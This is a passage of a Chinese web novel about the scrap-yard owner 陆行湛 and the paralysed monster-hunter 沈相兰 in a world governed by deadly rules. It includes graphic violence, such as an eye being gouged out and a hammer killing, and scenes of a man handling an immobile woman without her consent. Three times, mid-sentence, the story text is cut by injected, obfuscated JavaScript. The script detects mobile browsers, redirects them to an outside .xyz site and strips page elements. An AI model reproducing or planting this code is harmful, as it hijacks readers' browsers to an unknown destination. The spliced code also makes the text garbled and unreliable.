“我们都用规则杀人了,你居然还活着,我们还真是小瞧你了。”张哥说,“你都知道我们干这种事情了,我们怎么能让你活着把这件事情传出去呢?” “放心,我们会杀了你的,我一个人不够保险,还有十三个人在路上。” 陆行湛本来是想挣扎一下的,但是听到还有十三个人在路上,他又躺了回去。 缄默海有好几条覆盖全域的霸道规则,其中有一条是禁止十五人以上聚集。 如果他捡来的祖宗算个人,那么他们会一起触犯规则。 他不用自救了,救不了一点。 “话说你们针对我干嘛,我就开了家废品回收站,以前我也没得罪你们啊!”陆行湛实在是想不通,他一个守废品站的,什么时候招惹他们楼东的人了? “没办法,谁让你不识相呢,要是你乖乖把废品站这块地让出来,就没有接下来的事情了。” “你们想抢我还怪我不让你们抢?”陆行湛震惊质问,但他确实打不过对方,嘴里的话刚说出来就被人一脚踩进土里去了。 “谁让你菜?”张哥很是嚣张。 不远处几辆车开了过来,车灯打在陆行湛身上,把他照了个明明白白,他想抬头,结果张哥蹲下来,把他脑袋摁在地上,根本抬不起来。 “张哥,对付一只白切鸡需要来那么多人吗?”陆行湛听见一个人问。 "没招啊,今晚必须给他杀了,不如我回去不好跟我哥交代。"张哥叹了口气,他正在思考陆行湛的死法,忽然之间,一股危机感浮上心头。 缄默海虽然分为白天和黑夜,但天色永远都是昏沉的模样,白天会稍微有一些光,但光线照在地上还是昏暗的。 在这种环境下,一条鲜红醒目的线就格外显眼。 是怪物的规则线。 缄默海很少有活人看见怪物的规则线,没办法,看见过的都被杀了。 张哥瞬间警觉,他视线扫过人群,可以确定来这里的确实是十三个人,算上他和陆行湛正好是十五人,卡在触犯规则的临界点上。 他这里没问题,那么出问题的就只能是陆行湛那边。 “车上的人是谁,是你认识的机械店学徒?”张哥问陆行湛,他转头命令一个小弟,说道:“你们去把车上的人带下来!” “感情你们是在诊所外面看见我站那是吧?你们楼东的人那么闲吗?”陆行湛瞬间想明白了,他真是大意了,在听见张哥的话之后着急了,“你们别找死啊,知道什么是人外有人天外有天吗?” 张哥根本没有搭理陆行湛的打算,但陆行湛一着急就开始挣扎,他骤然爆发,张哥差点都没摁住他,被他冲得往后退了几步。 “你之前演我是吧?”张哥龇牙咧嘴,他之前不知道陆行湛力气那么大,如果他一个人来这,还真杀不了他。 好在他不是一个人来的。 “你们多来几个,把他给我看严实了!” 张哥一声令下,陆行湛被好几双手抓着摁在地上,脸上皮肤跟地面上的粗糙石子摩擦。 陆行湛这时候脑子里还想着沈相兰,没办法,那位祖宗本来就重伤,要是落到楼东这群心黑手黑的畜牲手里,那真要凉了。 “你们楼东的人有病啊,都被规则线标记了,你们知道自己要死了吗,那么卖命啊?”陆行湛着急,但是他根本动不了,现在他像一只绝望搁浅的鱼,只能在岸上扑腾,起一个没有功劳也有苦劳的作用。 张哥带来的小弟本来还在干活,十来个人整出来的动静不算小,但在陆行湛说完之后,周边瞬间安静了。 “你在说什么?‘死’是什么意思?”张哥问。 陆行湛寻思姓张的在演他呢,结果他被人强行抬起头,对上了张哥充满探究的眼睛。 他好像是认真的。 “你在哪里知道‘死’这个词的?” 不止是张哥,他还听见了沈相兰的声音。 沈相兰是一个很冷淡的人,她非必要不开口,比冰柜里冻着的金属标本还冷,能让她开口的事情很少。 陆行湛张了张嘴,张哥还可能演他,但沈相兰不可能演他。 她本身就足够神秘了,陆行湛敢发誓她的来历绝对不一般,就凭她能够杀死怪物,还有高高在上把人当狗使唤的语气,这绝对是个大人物。 她不可能不知道死啊! “祖宗,您说什么呢,您不是才杀了一只怪物吗,您怎么会不知道呢?”陆行湛意识到出了大事,但是怎么样人不知道死啊,被杀了不就是死了吗? 此时陆行湛还没意识到自己说了什么。 “杀了一只怪物?”张哥机械重复陆行湛的话,他开始怀疑自己幻听了,陆行湛说的每一个字他都认识,但组合在一起就变成了他不理解的模样。 “人类可以杀怪物?你脑子是被我踢坏了吗?” “哈哈哈哈哈哈,真精彩啊,我的规则那么多年没人触犯了,今天居然来了一堆蠢货,真是太好笑了哈哈哈哈哈哈!” 怪物在一旁窥伺已久,直到现在才忍不住冒头,尖锐扭曲的声音突然出现。 转瞬之间,透着微光的天空被一团漆黑如墨的雾气笼罩,怪物猩红的眼睛像是血红的圆月,两轮血月在漆黑雾气里移动旋转,饶有兴趣地看着地下的一群蚂蚁。 以它的身躯来看,人类确实跟蚂蚁差不多大。 “是哪个愚蠢狂妄的人类说自己能够猎杀怪物?我要看看她身上流的血液是什么样子的,太可笑了,太好笑了!” 怪物的躯体有很强的延展性,它从空中盘旋而下,猩红的眼睛率先与被一群人压着的陆行湛对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449188|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视。 “你说有人能杀死怪物,你认识能够猎杀怪物的人吗?” 陆行湛没说话,怪物也不难为他,可能是陆行湛看起来太狼狈,也可能是怪物认为他说的话是无稽之谈,只是趁机找个由头发难。 “能够杀死怪物的人在你们之间吗?”它又抬头,扫过了张哥带来的一群人。 这些人属于楼东。 楼东是一个地名,缄默海有一个特别大的楼,四面修得方方正正,不知道是什么材质,楼的其他方位都没人去过,只有东面有人居住。 最早在楼东居住的一群人就组成了一团势力,楼东的势力很厉害,但这些人也就是跑腿的杂鱼。 怪物扫了他们一眼,好几个人吓得快背过去了,陆行湛还被扣在他们手里,一连挨了好几下重击,看得怪物都摇头。 “不是他们,那就是你了?”怪物的视线落在了张哥身上。 张哥浑身紧绷,他额头有冷汗滴落。 跟怪物对视,需要特别大的抗压能力。 这只怪物很大,它的眼睛是带着不详的猩红色泽,像广告灯牌一样发着微光,语气里带着戏谑,十足十的不怀好意。 在血红色的规则线牵连之下,张哥能感受到怪物恶劣戏耍的心情,偏偏他还无能为力。 怪物能轻而易举地猎杀它,但它并不打算进行简单直白的杀戮,它想要玩耍。 他们的性命对怪物而言只是玩具。 “不是我,能猎杀你的人在车上。”张哥说。 他很紧张,这副表情怪物在很久之前看过无数遍,可惜它的规则很久没人触犯了,以往看腻的表情现在也开始变得生动起来。 怪物想,他可以晚一点被杀。 它顺着张哥的指引,看见了车上的人。 是一个人类女性,她卡在了坐垫和地面之间,整个人扭曲成了一个怪物都没见过的模样,身上还带着丑陋得像爬虫一样的伤疤。 “你骗我,车上只有一个受了重伤的女人!”怪物骤然爆发尖叫。 怪物黑雾一样的躯体膨胀翻涌,像惊涛怒涌,悬浮在天上,它骤然发作,危险气息扑面而来,好似空气都被挤走了,呼吸都开始变得困难。 “你别瞧不起人,我们祖宗老厉害了,她一个杀你三个都不带歇口气的!”陆行湛说。 沈相兰不能说话,她是靠着规则线的链接传递信息,但陆行湛这个是纯粹的物理发声,一嗓子喊下来堪称是刺破黑暗划破寂静,沈相兰都愣怔了一瞬。 “就她,我现在就把她撕碎……”怪物从躯体里分出来了一缕黑雾,朝着沈相兰的脖颈处攀爬缠绕。 它以为它可以很轻易地撕碎沈相兰,但在它接触沈相兰的那一瞬,只感觉自己碰到了什么冰凉的东西。 很快,刺痛感从那一缕身躯上蔓延开来,怪物觉得不对劲,却无法将自己的身躯收回。 陆行湛听见了跟上一次怪物一模一样的尖叫声。 他这才放下心来,陆行湛虽然存了利用沈相兰的心思,但他没想让沈相兰真死啊。 沈相兰死了他又活不了,如果可以,陆行湛愿意每天给沈相兰磕一个许愿沈相兰长命百岁。 “让开,没看见我家祖宗在收拾怪物吗,再不放开被收拾的就是你们了!” 转瞬之间风水轮流转,陆行湛一把推开了他们,他刚从地上蹦起来,转瞬就被旁边的张哥勒住了脖子。 “你到底是什么来头?”张顺问他。 5. 手痒 “哥们,你是不是问错人了?” 不对了啊,那边有个能手撕怪物的,你来问我? 陆行湛心想他还能是什么人,他就是一个开废品站的平平无奇男性青年,他还能有啥? “回答我问题。”张哥死死盯着陆行湛,陆行湛被他掐得喘不上气,他仰着脑袋看向张哥,发现他的右眼在特定角度看过去像是莹绿色的通透镜面,瞳孔深处有细线一样的东西在蠕动。 陆行湛忽然涌上来一股恶心感。 ……他好像在什么地方见过这种东西。 “你照过镜子吗?”陆行湛用尽力气扯开了张哥的手,他扑到张哥身上,伸手就想去触碰他的右眼。 张哥躲了过去,在那一瞬间,他甚至觉得陆行湛想把他的眼睛挖出来。 “别碰他的眼睛。”沈相兰说。 显然,她注意到了陆行湛那边的动静。 沈相兰此时还在与怪物纠缠。 这只怪物比上一只要强上许多,结合陆行湛与那群人的对话,沈相兰能推测出它的规则。 它的规则与实力不对等。 在中心区的时候,沈相兰猎杀了很多怪物。 怪物的实力层次不齐,她杀多了怪物,总结出来了一个规律:越是规则容易触发的怪物,实力越弱。 真正强大的怪物都隐匿在暗处,它们的规则沈相兰从未触发过。 这只怪物的规则覆盖很广,很容易触发。 按道理说,它不该那么强。 沈相兰想不明白,怪物更是想不明白,它无法挣脱沈相兰的控制。 冰凉的触感从皮肤接触的地方一路向上蔓延,经过之处都带着碾压般的疼痛,怪物崩溃大叫,却无法从沈相兰手中逃离。 这个伤到连手指都抬不起的人类,真的可以猎杀怪物! “想活着吗?”沈相兰问它。 怪物参不透她的意思,但不用怀疑,怪物想活着。 “你把在场的右眼没变色的人全杀了。” “杀了你就会放过我吗?”怪物问。 沈相兰没说话,怪物从她的沉默之中领悟到了她的未言之意,每过一秒钟,空气里就要生出来无数根刺进肉里的针,冷嗖嗖埋进怪物的血肉里,刺得怪物坐立难安。 “我现在就干!” 怪物说干就干,它瞄准的第一个人类就是陆行湛。 “祖宗,不是,我不能杀啊!”陆行湛还被张哥掐着脖子呢,转头看见一团黑雾朝自己冲过来,他吓得都要失语了。 “他留着。”沈相兰冷淡的声线几乎与陆行湛的声音叠在一起。 怪物很听话地调转方向。 “你在哪认识的人?”张哥惊疑不定,他在楼东只是一个小角色,勉强接触到中层,在此之前,他根本不知道缄默海有这种人物。 他更没听说过陆行湛有这种背景,要是有,楼东根本不会派人针对陆行湛。 不远处哀嚎声渐起,他带来的人被怪物一一吞噬。 这群人里,只有他的眼睛有异样。 有这个认知之后,张哥忍不住打了个寒颤。 “这不是你能打听的事,你只需要沈女士是我祖宗。”陆行湛把自己解救出来,他拍了拍张哥的肩膀,装出一副语重心长的模样。 之后陆行湛拔腿跑去货车车厢里,把沈相兰的轮椅抬了出来。 做完这一切,他特意找了块干净抹布擦了擦手和脸,这才打开货车后座的门。 也不怪张哥没看见,没开门之后陆行湛也没看见人。 沈相兰卡在坐垫底下的缝隙里,她像一团可以随意变换形状的橡皮泥,与汽车坐垫底下那条缝完美契合。 陆行湛好说歹说是憋住了没笑,他缓了一会才把沈相兰从那条缝隙里挖出来。 挖出来的时候陆行湛不可避免地与沈相兰有皮肤接触。 沈相兰的皮肤一直都是凉的,倒也不是冷,是常温物件的正常温度,皮肤触感柔韧温润,在没反应过来的时候,陆行湛捏了一下她的胳膊。 ……别说,手感怪好的。 沈相兰下意识想皱眉,可惜她现在根本无法完成皱眉这个动作,只能接住怪物的规则线疑问:“你在干什么?” 陆行湛:“没什么,祖宗您等会,我这就把您捞起来。” 陆行湛扛着沈相兰跳下车,在地面上发出一声闷响,踩出两个无比清晰的脚印。 把沈相兰放上轮椅的时候,陆行湛还得给沈相兰带上颈托。 颈托是他特质的,需要系带。 上一次给沈相兰系带的时候太过着急,再加上沈相兰余威未消,陆行湛还算比较规矩。 这次系带的时候,陆行湛看见了沈相兰脸颊侧边光滑饱满的皮肤,他忽然有点手痒。 ……就摸一下。 陆行湛心里刚升腾起这个想法时,就感觉自己好像在被一双眼睛注视。 他一低头,对上了沈相兰冷棕色调的浅色眼睛。 “怎么了祖宗?”他明知故问,借机伸手扶正沈相兰有些歪斜的头,在她脸上摸了一把,之后麻溜把带子系好,推着沈相兰一路疾驰,停在了张哥面前。 他特别贴心,提着张哥调了调位置,确保张哥的脸在沈相兰的视线范围之内。 张哥这才看见沈相兰。 看见沈相兰第一眼,会被她身上诡异狰狞的伤痕吸引目光,之后会对上她冷淡的眼睛。 “你是谁?”张哥看见沈相兰的一瞬间有种汗毛都竖起来的感觉,沈相兰的长相其实不带攻击性,她垂着眼的时候甚至还有些温和,但张哥看见她的时候本能竖起警戒线,下意识摆出来了防备的姿态。 “哥们,搞清楚定位,现在情况变了,你现在是阶下囚,说话客气点!”陆行湛扬眉吐气,他知道沈相兰在意张哥的眼睛,还把张哥的脑袋拽到沈相兰面前,方便沈相兰观察。 服务细致入微,态度无可挑剔。 “话说你叫啥名,你手下一天天张哥张哥的叫,我还以为你就叫张哥了。”他问道。 张哥忍了又忍,陆行湛这个人是有点欠揍在身上的,可惜形式比人强,他只能憋屈开口:“我叫张秋冉。” 张秋冉看着是二十四五的年纪,皮肤偏黑,身上带着长期训练的痕迹,他的右眼在特定角度像一面通透的荧光绿色镜子,最中心的瞳仁处有细线涌动。 “你知道你的眼睛变色吗?”沈相兰问。 “我的眼睛很重要吗?”张秋冉不理解,但是他看沈相兰的脸色,觉得事情并不简单。 但他没病没灾,甚至连他都没发现自己眼睛变了颜色,再说了,这个时期连怪物都有惦记,他眼睛变个颜色是什么很稀奇的事情吗? “你见过跟你一样眼睛变色的人吗?”沈相兰再问 张秋冉摇头,他连自己眼睛变色都没发现,更别说去发现别人的眼睛了。 “你把他的右眼挖出来。”沈相兰对怪物说。 怪物不满:“你把我当什么东西在使唤?” 陆行湛更不满意了:“祖宗让你干你就干啊,磨蹭什么!” 怪物干活很迅速,在张秋冉本人没反应过来的时候,一缕墨水般的黑雾从他身后绕过去,悄无声息就将他的眼珠取了下来。 “取下来了,然后呢?眼珠怎么处理?”怪物问。 陆行湛找了个东西把眼珠装了起来。 该说不说他的求生欲非常强,很会看人脸色。 就是太欠了。 “你把他杀了。”沈相兰对陆行湛说。 “我可以杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449189|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的,我比他快。”怪物自告奋勇。 可惜沈相兰不需要它。 “我吗?祖宗我没杀过人。”陆行湛有些迟疑,他心想总不能他摸了沈相兰一下,沈相兰就那么报复他。 这不对了吧?他也没犯天条啊! “他不愿意就让我来,我想吃了他!”怪物摩拳擦掌,跃跃欲试。 沈相兰没说话,她也动不了,陆行湛无法从她脸上读出情绪。 直觉告诉他,他最好听沈相兰的话,但陆行湛根本没杀过人。 他在鱼龙混杂的缄默海混久了,手上还是干干净净的。 现在骤然让陆行湛去杀个人,他有些无法接受。 “祖宗,我手上没工具,要不先让他活几天?”陆行湛小心翼翼地问。 “他今晚必须被杀。”沈相兰说。 她好像是一个机器人,不管说什么话都是这个语调,陆行湛也听不出来她是认真的还是在蓄意报复。 “你为什么想杀我?”张秋冉捂着眼睛问。 怪物的速度太快,他的眼珠被完完整整的挖出来。 眼珠掉落的时候,他甚至没感觉到痛意,空荡荡的眼眶往外流血的时候,他才有自己眼珠被挖的实感。 陆行湛看向张秋冉。 在看见张秋冉的那一瞬间,他彻底愣住了。 张秋冉原本流出的血液是鲜红的,现在,他眼睛里流出来的血液带上了荧光一样绿色的色泽。 跟他眼睛上的颜色一模一样。 “再不杀了他,就来不及了。”沈相兰冷淡的声音恍若惊雷,一下子把陆行湛炸醒。 他有太多话想问了,但是问不出来。 “祖宗,非得是我杀吗?”陆行湛问。 “只能是你,如果你是人类的话。”她意有所指。 陆行湛明白了,他不敢问多余的话,去车上找了个锤子过来。 张秋冉低头看了看地上的血。 人类的血液是红色的,不管是鲜红暗红,都是红色的。 现在他的血液上带着一层诡异的绿色物质,眼球在地上滚动好几圈,此时他刚好可以看见他们所说的东西。 在特定角度下像镜面一样的荧光绿色,还有在瞳孔里蠕动的细线。 他盯着蠕动的细线,原本没有感觉的眼眶忽然开始发痒,就好像里面有一样的东西在血肉里蠕动爬行。 在他不知情的时候,他的身体里长了虫子。 “杀了我,快点!”张秋冉忽地惊恐起来,他抬头对陆行湛大喊。 张秋冉自己都想不到他居然有求别人杀他这一天。 陆行湛举着锤子闭眼朝着张秋冉脑袋上砸去。 他也分不清楚自己砸了几下,只感觉自己浑身都在哆嗦,恍惚间有温热的血液溅在脸上。 “别睁眼。”沈相兰的声音从很遥远的地方传来。 陆行湛浑浑噩噩的,却还是下意识听从了沈相兰的指令。 “你对他似乎很上心?”怪物看着眼前这一幕只觉得无聊。 它吞噬过无数人类,眼前的场面对它来说连开胃小菜都算不上。身旁这个女人明显要比它凶残多了,它是怪物见到的第一个可以反过来猎杀怪物的人类。 怪物敢发誓她杀过的怪物只会比它吞噬的人类更多。 这样一个人居然可以容忍一个聒噪的蠢货,怪物找不到别的词汇解释了。 人类与人类之间有些虚无缥缈的感情,她跟那个窝囊的人类应该是这种关系吧? 怪物不清楚,但是怪物好奇。 沈相兰并不会回答这种无聊的问题。 张秋冉已经被杀了,根据沈相兰的经验,他的尸体很快就会消失。 他知道死亡,沈相兰希望他可以特殊一点。 6. 没死 陆行湛抡着锤子机械性往下砸,他砸过不少东西,但今天是他第一次砸活人。 用来敲击金属的铁砸在包裹血肉的脆弱骨头上,是粘腻又坚硬的奇异手感,血液铁锈一样的腥味蔓延,让他不敢睁眼。 也不知道过了多久,陆行湛听到了沈相兰的声音。 沈相兰让他睁眼。 陆行湛忍不住想,沈相兰不会是全程看着他吧?她估计看完了他用锤子杀人的全程。 他想东想西,沈相兰估计不在乎一具血肉模糊的尸体,虽然她看着很冷淡,但陆行湛总觉得她手里有不少人命。 可能她也不是故意使唤他,她只是觉得杀人是一件跟吃饭喝水一件简单的事情,追根到底还是陆行湛见识短了。 他克服心理压力睁开眼睛,在睁眼之前,他以为自己会看见一具血肉模糊的尸体。睁眼之后,却发现地上只有一摊掺有莹绿色的血液留在张秋冉原本躺着的位置。 张秋冉的尸体不见了。 “张秋冉死了?”陆行湛迟疑问道。 张秋冉不可能还活着,但是人死了应该有尸体啊,他的尸体去哪了? 陆行湛问怪物:“你把张秋冉的尸体吃了?” 怪物瞬间炸开:“好笑,怪物根本不吃尸体,该死的愚蠢的人类!” “那张秋冉的尸体去哪了?” “张秋冉是谁?”怪物反问。 事情开始往陆行湛无法理解的方向走,他怀疑怪物是在演他,但是怪物有什么理由演他啊,说白了怪物是在忌惮沈相兰,他陆行湛算个什么东西,八百米开外都排不上号。 这是为什么? “祖宗,你知道张秋冉的尸体去哪了吗?”陆行湛问。 沈相兰坐在轮椅上,她身上穿的是露西给她套的衣服,浅棕色西装裤和宽松休闲款的白色珠光衬衫,衬衫偏薄,能看见她皮肤上狰狞深红的伤疤。 陆行湛看向她,忽然生出来一种难以言说的感觉,好像刚刚发生的一切都与她无关,她是生长在幽深山谷里独树一帜的植物。 她自带疏离冷漠的距离感,仿佛不在凡尘里。 “人类没有尸体。”沈相兰回答他。 沈相兰一直看着陆行湛。 她的视野范围很有限,只能看见陆行湛的小半张脸。 她可以借助怪物的规则线感知到其他东西,但沈相兰更加相信自己的眼睛。 外七区的人们并不知道中心区的人给他们排的区域编号,他们认为自己生活的地方被称为缄默海。 沈相兰并不清楚外七区的情况,她是外来者。 陆行湛很奇怪,她现在不知道是陆行湛的本人奇怪,还是缄默海的人都这样奇怪。 他是沈相兰来到缄默海遇到第一个人类,看着没什么城府,很是热心,什么情绪都写在脸上,罕见的没有恶意。 沈相兰来到这里可从未有过低调的想法,她根本没有掩饰过她身上的特殊性。 从怪物的态度里可以看出来,外七区并没有能够杀死怪物的人类。 中心区给过沈相兰经验,在她还没掌握权力之前,所有接近她的人都带着目的。 沈相兰目前还没在陆行湛身上看见目的,她并不相信陆行湛是纯好心。 更何况,陆行湛身上也藏着不小的秘密。 “没有尸体?”陆行湛想不明白,他又问道:“那他死了吗?” “被杀了,没死。”沈相兰回答。 陆行湛欲言又止,他心想被杀了不就是死了吗,但看沈相兰和怪物的神色,最终什么也没问。 “现在你把张秋冉的眼珠捡起来,不要用手碰,不要接触地面,放在金属物品上把它烧毁。”沈相兰说。 她说话像是在下达指令,带着一股不容拒绝的语气,好吧,陆行湛想她根本没思考过会有人拒绝她。 也确实,陆行湛并不会拒绝她。 他不知道沈相兰有什么用意,但理智告诉他,他最好是按照沈相兰的命令照做。 金属物品好解决,他用来装眼珠的本来就是一块铁皮。 烧毁也好解决,陆行湛倒了点柴油在眼珠上,那颗眼珠也不知道是遭遇了什么,他刚刚点燃柴油,火焰就窜了三丈高,漆黑夜空中燃起了极为漂亮的焰火。 怪物甚至还叫了一声以表赞叹。 陆行湛紧紧盯着焰火,打算从里面看出来一点其他东西。 火焰逐渐升高,外焰是明亮的金黄色,内焰是蓝悠悠的色泽,丝丝缕缕的烟雾从最底部眼珠的位置升起来。 一股奇异的悉悉索索声音从火焰里传出来,明亮火焰里出现了游动的黑线,一丝一丝一缕又一缕,在火光里及其明显。 陆行湛盯得出神,他恍惚感觉自己听见了一声惨叫。 紧接着,一股劈里啪啦弹珠落地的声音接连响起。 也不知道过了多久,火光熄灭,铁皮上余烬灰黑。 陆行湛抬起铁皮,看见了铁皮背面密密匝匝被砸出来的凸起。 “祖宗,那些东西……烧成的灰要怎么处理?”陆行湛问。 下了一夜的雨已经停了,缄默海常年寂静罕有人声,陆行湛的声音在这篇空间里格外清晰,沈相兰听见了他吞咽口水的声音。 “随意处理。”沈相兰话语简洁。 陆行湛机械硬了一声,他抹了把脸强行打起精神,对沈相兰说:“那我们先回去吧,在这站着也不是个事。” 他说完,视线落在了怪物身上。 两条鲜红的规则线链接了三个人,怪物庞大的身躯还覆盖在天空之上,遮挡了这一地的天光。 “它要处理吗?”陆行湛犹豫问道。 “它留着。” 沈相兰的风格一向如此,简单直白不顾人死活,陆行湛也不敢多问,他现在算是知道了,这位祖宗并不简单。 她知道很多东西,陆行湛隐约感觉得到,他要是提问的话沈相兰会回答他,但他并不敢发问。 在没本事的时候知道太多容易死得不明不白。 ……死。 陆行湛又想到了这个字。 怎么会有人不知道死是什么意思。 沈姓女人没必要骗他,他杀了张秋冉,但是张秋冉没有死? 怎么可能? 人被杀了就是会死。 总不能张秋冉不是个人吧? 陆行湛不敢细想,他推着沈相兰朝着废品站里的小屋走去。 缄默海,楼东正街。 楼东是一个地名,也是一个组织。 楼东地区有不少街道,但一个街道最多只会居住三个人,人们都默契地保持着最远距离,守着自己的机械小屋沉默度日。 正常情况下,街道上只会有圆头圆脑又稍显破旧的清洁机器人。 今晚其实与之前每一个晚上一样,寂静沉默。 人与人之间的具体太远,房屋的隔音也很好,在自己家里整出来的动静很难被邻居听见。 就在某一个瞬间,一部分人不受控制地睁开了眼睛,在暗潮涌动之处,似乎有什么东西顺着眼睛爬了出来。 楼东正街是一片荒废的街道,这里是楼东早期最为繁华的地方,但规则横空出世,在这里居住的人们全都被怪物猎杀,遗留的房屋变成了空壳。 就在今夜,一间屋子传来异响。 一个人枯坐在床上。 好吧,它也许不算人。 它的头发是断断续续的黑色线条,眼睛无论从什么角度看都是通透的镜面形状,莹绿的光泽在黑暗中诡异得不像样。 在某一个瞬间,屋子里的黑线骤然惊动,满屋的黑线四处逃窜,像是遭遇了什么很不好的东西。 床上枯坐的人形生物被黑线的活动唤醒,试图活动躯体。 它只保留了人的躯干,四肢由诡异的黑线组成,一团垂直柔顺的黑线从衣袖裤管里长出来,流在地上。 在活动过程中,它的肢体触碰到了一个机器,老旧的机器翻滚,发出滋滋的电流声,一段语音顽强发出。 “特殊行动部门一期……缄默分部三停泊点处……研究所……代号方舟……试行点……” 机械合成的声音很卡顿,像生锈却依旧在工作的齿轮,从老旧机器里挤出来,嘶哑得不像话。 黑线组成的人形物体骤然炸开,床上的人连人形都没能成功维持,彻底化成一团,凄惨的尖叫被扼杀在咽喉之中,不敢发出。 【缄默海楼东正街规则:不允许活物发出任何声音。】 血红的规则线骤然炸满整个屋子,在怪物来临之前尽数消散。 它再次拼凑出一个人形,却比之前要干瘪不少。 *** 陆行湛正在修理他的屋子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449190|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的屋子之前被张秋冉那个不讲武德的家伙炸了,里面的东西都废了,好在陆行湛也没什么家产,他的损失并不大。 手动将家里还没彻底炸毁的大件物品清理出来之后,陆行湛把清洁机器人丢了进去,思索着去哪里再弄一套家具。 沈相兰被他放在了唯一一张床上。 那张床是陆行湛放在仓库的床,好吧,它本来是一个废品,但保存得很是完好,被陆行湛翻出来丢在仓库当沙发用。 现在用来放沈相兰正好。 沈相兰只需要躺着,而他需要干的事情就多了。 “祖宗,哪天有空我退您去看看我家废品站吧,楼东的人也不知道发什么癫,他们自己地盘那么大一片,还要来跟我抢废品站。” 陆行湛说到这里还开了个玩笑:“难道我家废品站里真的藏了什么东西?” 沈相兰没说话。 怪物已经被她打发走了,它的规则过于霸道,但沈相兰没有杀掉它的打算。 它的存在有一定的必要性。 中心区有一条触发规则不清晰的规则,规则要求一些人必须在二十四小时内挖下并烧毁右眼,否则就会被怪物猎杀。 这条规则导致中心区不少人都只有单边眼睛。 沈相兰出现的时候,有不少人希望她能清除这条规则,但沈相兰拒绝了这一要求。 那条规则有存在的必要性,沈相兰说不明白,但是那条规则必须存在。 这件事情令她的声誉两极分化,导致沈相兰在中心区最高只能拿到首席执行官的职位,不被允许进入参议席会。 沈相兰当时只是有一种直觉,她没有依据,但她认为那条规则必须被保留。 就算不保留规则,她也会做出与那条规则一样的事情。 直到今夜,她让陆行湛挖下了张秋冉的眼睛,她才隐约察觉到那条规则存在的必要性。 她根据中心区怪物的规则让陆行湛处理了那颗眼珠,接下来,沈相兰必须思考另一件事情。 外七区有多少人右眼变色?他们的眼睛为什么会变色? 沈相兰感觉到了危机,可惜中心区和外七区的“墙”太厚了,中心区的怪物无法越过“墙”来到外七区。 有中心区规则的前例,外七区这条限制十五人以上聚集的规则应该也有自己的作用。 它似乎在切断一些东西。 沈相兰暂时不知道需要切断的是什么东西。 怪物的规则很随机,它们并不知道自己的规则从何而来,它们只会猎杀每一个被规则线标记的人类。 外七区比她想象的要重要许多,沈相兰想,她也许能在这里找到一些东西。 ……前提是她能够恢复行动能力。 “祖宗你不杀怪物也挺好的,我俩现在被规则线连着,你可以用规则线的链接跟我对话,您缺什么东西随时吩咐我,只要是我能做到的我一定会做到。”陆行湛走过来说。 他掀开了沈相兰身上盖着的薄毯,拿着软尺量在沈相兰身上比划。 “你要干什么?”沈相兰问。 如果能动的话,沈相兰想她的眉头一定会皱起来,可惜她还不能自主控制肌肉。 她的情绪一向寡淡,陆行湛又极为心大,他根本听不出来沈相兰语气里细微的情绪变化,听见沈相兰的问题还高兴回答:“我在测量你的身体数据啊!” 陆行湛的测量很是仔细,他几乎是把沈相兰身上能测量的地方都测量了一遍。 他还特别眼睛,会多次测量取平均值,尽力减少误差,还在用笔在纸上记录了一些东西。 沈相兰看不见,她不在意陆行湛测量她的身体数据。 她的身体数据在中心区有一套齐全的,中心区还有一套她的骨骼,除颅骨以外的骨头都在那里。 她比较介意陆行湛直接接触她的皮肤。 他的手指上带着茧子,粗粝的指腹划过皮肤时会带来强烈的异物感,沈相兰不喜欢这种触感。 “祖宗,我打算做一个厉害的东西,你相信我,你一定会喜欢那个东西的!”陆行湛信誓旦旦。 陆行湛出现在了沈相兰的视野之中,他的眼睛亮晶晶的,带着笑意,额头上还能看见细密的汗珠。 紧接着,陆行湛掰开了沈相兰的牙关,带着一次性指套的手伸进了沈相兰的口腔之中。 7. 见证 沈相兰实在没料到这一出。 “祖宗你的牙长得很标准。”陆行湛评价。 他几乎把每一颗牙齿都摸了个遍,沈相兰的口中积蓄了一摊浅浅的水,在感觉到危险的时候陆行湛才开始转换阵地。 他的手指托着沈相兰的上下牙,把牙关撬开,温热潮湿的口腔内部就出现在了陆行湛眼前。 红舌白牙,口腔内壁能看见细细的血管,还有喉咙深处的扁桃体。 他不由自主地在沈相兰的口腔上颚处刮了刮。 意识到自己干了什么之后,陆行湛眼神已经开始飘忽了。 沈相兰目前只能看见陆行湛露出来的眼睛,一直睁眼太累,她已经把眼睛闭上了。 她不知道陆行湛到底存了什么心思,如果他是想收集她的身体数据用于研究,那大概率会一无所获。 ……话说,收集数据需要那么仔细吗? 沈相兰又想皱眉了,陆行湛的手指在她口腔里刮来刮去,陌生异样的感觉从神经末梢蔓延,她却无法作出反应。 